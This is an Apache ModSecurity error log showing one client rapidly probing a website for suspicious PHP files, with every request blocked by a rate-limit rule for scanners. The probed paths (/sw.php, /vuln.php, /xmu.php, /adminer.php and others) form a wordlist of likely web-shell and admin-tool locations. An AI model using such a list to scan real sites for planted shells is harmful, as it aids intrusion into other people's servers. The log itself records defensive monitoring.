[Sun May 03 09:53:36.422141 2026] [:error] [pid 37246:tid 37271] [client 172.173.121.85:30274] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.admin.php"] [unique_id "afaqoDhvYFGNwhnPamqY1gAAARU"]
[Sun May 03 09:53:36.975771 2026] [:error] [pid 40422:tid 40438] [client 172.173.121.85:30213] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sw.php"] [unique_id "afaqoEHBbBLrXh6PBuuuEAAAAUw"]
[Sun May 03 09:53:37.361905 2026] [:error] [pid 40422:tid 40447] [client 172.173.121.85:30254] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sw.php"] [unique_id "afaqoUHBbBLrXh6PBuuuEQAAAVU"]
[Sun May 03 09:53:37.740337 2026] [:error] [pid 40386:tid 40408] [client 172.173.121.85:30247] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sw.php"] [unique_id "afaqoVHJDYRXUf3IbRTs_AAAANQ"]
[Sun May 03 09:53:38.118775 2026] [:error] [pid 40386:tid 40404] [client 172.173.121.85:30248] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sw.php"] [unique_id "afaqolHJDYRXUf3IbRTs_QAAANA"]
[Sun May 03 09:53:38.522635 2026] [:error] [pid 40386:tid 40392] [client 172.173.121.85:30223] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "afaqolHJDYRXUf3IbRTs_gAAAMQ"]
[Sun May 03 09:53:38.941568 2026] [:error] [pid 37126:tid 37173] [client 172.173.121.85:30273] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "afaqovR_A42N-LtDyrvq0wAAABQ"]
[Sun May 03 09:53:39.454342 2026] [:error] [pid 40386:tid 40393] [client 172.173.121.85:30259] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "afaqo1HJDYRXUf3IbRTtAAAAAMU"]
[Sun May 03 09:53:39.842716 2026] [:error] [pid 37130:tid 37215] [client 172.173.121.85:30316] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "afaqo6Iu7bmXKXicRk9E2QAAAII"]
[Sun May 03 09:53:40.350438 2026] [:error] [pid 37130:tid 37237] [client 172.173.121.85:30277] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "afaqpKIu7bmXKXicRk9E2gAAAJg"]
[Sun May 03 09:53:40.729888 2026] [:error] [pid 37126:tid 37164] [client 172.173.121.85:30233] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "afaqpPR_A42N-LtDyrvq1wAAAAs"]
[Sun May 03 09:53:41.104843 2026] [:error] [pid 40386:tid 40406] [client 172.173.121.85:30331] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "afaqpVHJDYRXUf3IbRTtAgAAANI"]
[Sun May 03 09:53:41.515029 2026] [:error] [pid 37130:tid 37228] [client 172.173.121.85:30295] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "afaqpaIu7bmXKXicRk9E3AAAAI8"]
[Sun May 03 09:53:41.947545 2026] [:error] [pid 40386:tid 40396] [client 172.173.121.85:30278] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "afaqpVHJDYRXUf3IbRTtAwAAAMg"]
[Sun May 03 09:53:47.969955 2026] [:error] [pid 40422:tid 40445] [client 172.173.121.85:30310] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "afaqq0HBbBLrXh6PBuuuFQAAAVM"]
[Sun May 03 09:53:48.346886 2026] [:error] [pid 40422:tid 40437] [client 172.173.121.85:30281] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "afaqrEHBbBLrXh6PBuuuGAAAAUs"]
[Sun May 03 09:53:49.748153 2026] [:error] [pid 40422:tid 40447] [client 172.173.121.85:30293] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "afaqrUHBbBLrXh6PBuuuHgAAAVU"]
[Sun May 03 09:53:50.124761 2026] [:error] [pid 40422:tid 40434] [client 172.173.121.85:6108] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "afaqrkHBbBLrXh6PBuuuHwAAAUg"]
[Sun May 03 09:53:50.520182 2026] [:error] [pid 37127:tid 37203] [client 172.173.121.85:30236] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "afaqrv8khJXb5O5aWVXykgAAAFI"]
[Sun May 03 09:53:51.967330 2026] [:error] [pid 37127:tid 37189] [client 172.173.121.85:30214] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "afaqr_8khJXb5O5aWVXylwAAAEU"]
[Sun May 03 09:53:52.344957 2026] [:error] [pid 37130:tid 37214] [client 172.173.121.85:30241] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "afaqsKIu7bmXKXicRk9E4wAAAIE"]
[Sun May 03 09:53:52.750932 2026] [:error] [pid 37127:tid 37193] [client 172.173.121.85:30335] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afaqsP8khJXb5O5aWVXymAAAAEk"]
[Sun May 03 09:53:53.636230 2026] [:error] [pid 40456:tid 40464] [client 172.173.121.85:30216] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afaqsTSujTvwdzEkjSf0RwAAAYY"]
[Sun May 03 09:53:54.041275 2026] [:error] [pid 37130:tid 37232] [client 172.173.121.85:30208] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afaqsqIu7bmXKXicRk9E5QAAAJM"]
[Sun May 03 09:53:54.422483 2026] [:error] [pid 40422:tid 40442] [client 172.173.121.85:6127] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afaqskHBbBLrXh6PBuuuIQAAAVA"]
[Sun May 03 09:53:54.801563 2026] [:error] [pid 40422:tid 40437] [client 172.173.121.85:30231] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-bda.php"] [unique_id "afaqskHBbBLrXh6PBuuuIgAAAUs"]
[Sun May 03 09:53:59.198331 2026] [:error] [pid 37246:tid 37271] [client 172.173.121.85:6112] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-bda.php"] [unique_id "afaqtzhvYFGNwhnPamqY3gAAARU"]
[Sun May 03 09:53:59.650739 2026] [:error] [pid 37246:tid 37256] [client 172.173.121.85:30283] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-bda.php"] [unique_id "afaqtzhvYFGNwhnPamqY4QAAAQg"]
[Sun May 03 09:54:00.073984 2026] [:error] [pid 37246:tid 37268] [client 172.173.121.85:30230] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-bda.php"] [unique_id "afaquDhvYFGNwhnPamqY4wAAARI"]
[Sun May 03 09:54:00.476149 2026] [:error] [pid 40386:tid 40405] [client 172.173.121.85:30209] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bhm.php"] [unique_id "afaquFHJDYRXUf3IbRTtCgAAANE"]
[Sun May 03 09:54:00.861523 2026] [:error] [pid 37246:tid 37251] [client 172.173.121.85:30227] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bhm.php"] [unique_id "afaquDhvYFGNwhnPamqY5gAAAQM"]
[Sun May 03 09:54:01.372718 2026] [:error] [pid 37126:tid 37151] [client 172.173.121.85:6106] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bhm.php"] [unique_id "afaqufR_A42N-LtDyrvq2wAAAAA"]
[Sun May 03 09:54:01.745079 2026] [:error] [pid 37127:tid 37202] [client 172.173.121.85:30315] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bhm.php"] [unique_id "afaquf8khJXb5O5aWVXynwAAAFE"]
[Sun May 03 09:54:02.163297 2026] [:error] [pid 37130:tid 37236] [client 172.173.121.85:30328] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmu.php"] [unique_id "afaquqIu7bmXKXicRk9E5wAAAJc"]
[Sun May 03 09:54:02.543283 2026] [:error] [pid 40456:tid 40465] [client 172.173.121.85:30318] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmu.php"] [unique_id "afaqujSujTvwdzEkjSf0TAAAAYc"]
[Sun May 03 09:54:02.918161 2026] [:error] [pid 37126:tid 37166] [client 172.173.121.85:30262] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmu.php"] [unique_id "afaquvR_A42N-LtDyrvq3QAAAA0"]
[Sun May 03 09:54:03.348098 2026] [:error] [pid 40422:tid 40431] [client 172.173.121.85:6115] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmu.php"] [unique_id "afaqu0HBbBLrXh6PBuuuKQAAAUU"]
[Sun May 03 09:54:04.765588 2026] [:error] [pid 37130:tid 37216] [client 172.173.121.85:30323] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ref.php"] [unique_id "afaqvKIu7bmXKXicRk9E6AAAAIM"]
[Sun May 03 09:54:05.171827 2026] [:error] [pid 40422:tid 40438] [client 172.173.121.85:30329] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ref.php"] [unique_id "afaqvUHBbBLrXh6PBuuuLQAAAUw"]
[Sun May 03 09:54:05.550691 2026] [:error] [pid 40422:tid 40428] [client 172.173.121.85:30276] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ref.php"] [unique_id "afaqvUHBbBLrXh6PBuuuLwAAAUI"]
[Sun May 03 09:54:06.929963 2026] [:error] [pid 40422:tid 40433] [client 172.173.121.85:6104] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ref.php"] [unique_id "afaqvkHBbBLrXh6PBuuuMgAAAUc"]
[Sun May 03 09:54:08.533164 2026] [:error] [pid 37126:tid 37170] [client 172.173.121.85:6120] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-xme.php"] [unique_id "afaqwPR_A42N-LtDyrvq3gAAABE"]
[Sun May 03 09:54:08.963603 2026] [:error] [pid 37126:tid 37156] [client 172.173.121.85:30299] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-xme.php"] [unique_id "afaqwPR_A42N-LtDyrvq3wAAAAM"]
[Sun May 03 09:54:09.380109 2026] [:error] [pid 40456:tid 40465] [client 172.173.121.85:30252] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-xme.php"] [unique_id "afaqwTSujTvwdzEkjSf0UgAAAYc"]
[Sun May 03 09:54:09.762973 2026] [:error] [pid 37126:tid 37167] [client 172.173.121.85:30322] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-xme.php"] [unique_id "afaqwfR_A42N-LtDyrvq4QAAAA4"]
[Sun May 03 09:54:10.159494 2026] [:error] [pid 40456:tid 40481] [client 172.173.121.85:30232] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminer.php"] [unique_id "afaqwjSujTvwdzEkjSf0WAAAAZc"]
[Sun May 03 09:54:11.019281 2026] [:error] [pid 40456:tid 40460] [client 172.173.121.85:30221] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminer.php"] [unique_id "afaqwzSujTvwdzEkjSf0WwAAAYI"]
[Sun May 03 09:54:11.487286 2026] [:error] [pid 37126:tid 37159] [client 172.173.121.85:30222] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminer.php"] [unique_id "afaqw_R_A42N-LtDyrvq5AAAAAY"]
[Sun May 03 09:54:11.948364 2026] [:error] [pid 40456:tid 40471] [client 172.173.121.85:30314] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminer.php"] [unique_id "afaqwzSujTvwdzEkjSf0XwAAAY0"]
[Sun May 03 09:54:12.329761 2026] [:error] [pid 40456:tid 40472] [client 172.173.121.85:30256] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ktfow.php"] [unique_id "afaqxDSujTvwdzEkjSf0YAAAAY4"]
[Sun May 03 09:54:12.827689 2026] [:error] [pid 40456:tid 40474] [client 172.173.121.85:6081] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ktfow.php"] [unique_id "afaqxDSujTvwdzEkjSf0YQAAAZA"]
[Sun May 03 09:54:13.238996 2026] [:error] [pid 37246:tid 37264] [client 172.173.121.85:6094] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ktfow.php"] [unique_id "afaqxThvYFGNwhnPamqY6QAAAQ4"]
[Sun May 03 09:54:13.835921 2026] [:error] [pid 40456:tid 40480] [client 172.173.121.85:30228] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ktfow.php"] [unique_id "afaqxTSujTvwdzEkjSf0ZAAAAZY"]
[Sun May 03 09:54:14.274180 2026] [:error] [pid 40456:tid 40475] [client 172.173.121.85:30263] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "afaqxjSujTvwdzEkjSf0ZgAAAZE"]
[Sun May 03 09:54:14.854857 2026] [:error] [pid 40456:tid 40467] [client 172.173.121.85:30287] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "afaqxjSujTvwdzEkjSf0aQAAAYk"]
[Sun May 03 09:54:15.252294 2026] [:error] [pid 37127:tid 37208] [client 172.173.121.85:30305] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "afaqx_8khJXb5O5aWVXyoQAAAFY"]
